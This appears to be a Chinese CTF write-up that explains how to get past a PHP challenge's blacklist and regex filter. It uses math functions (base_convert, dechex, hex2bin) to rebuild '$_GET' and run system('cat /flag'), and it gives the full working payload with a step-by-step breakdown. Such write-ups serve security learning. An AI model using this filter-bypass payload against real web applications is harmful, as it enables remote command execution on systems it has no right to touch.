直接看题

题目禁用了一些黑名单,然后可以用一些数学函数的白名单,还正则禁用了字母数字的混合字符串。
一步一步来看
首先肯定是想办法构造这种形式
?c=system('cat /flag')
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
?c=($_GET[acos])($_GET[pi])&acos=system&pi=cat /flag
现在关键是 $_GET 怎么利用数学函数构造
知识点
base_convert()函数在任意进制之间转换数字
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
dechex() 函数把十进制数转换为十六进制数。
参考payload,构造方法还有很多
?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{acos}($$abs{pi})
&acos=system
&pi=cat /flag
现在来简单解释一下payload
hex2bin = base_convert(37907361743,10,36)
37907361743 就是 'hex2bin'的36进制,然后base_convert()转换成 10进制

dechex(1598506324) 其实就是 _GET 的16进制
dechex() 将10进制转化成16进制
因为 hex2bin()是将16进制转化成ASCII ,但是正则不允许出现字母数字混合的字符串
所以 _GET = hex2bin(5F474554) = hex2bin(dechex(1598506324))
然后黑名单里是禁用了 [ ],但是在php 中是可以用 { } 来代替 [ ] 的
那再来理解整理一下payload
?c=$abs=_GET;$$abs{acos}($$abs{pi})&acos=system&pi=cat /flag
也就是
?c=$abs=_GET;system(cat /flag)
本文探讨了如何在存在特定限制的Web环境中,利用PHP的数学函数和编码转换函数如base_convert、hex2bin、dechex等,绕过黑名单并构造payload来执行系统命令。通过将函数名编码并结合$_GET变量,可以实现对系统命令的间接调用,例如通过`?c=$abs=_GET;$$abs{acos}
603





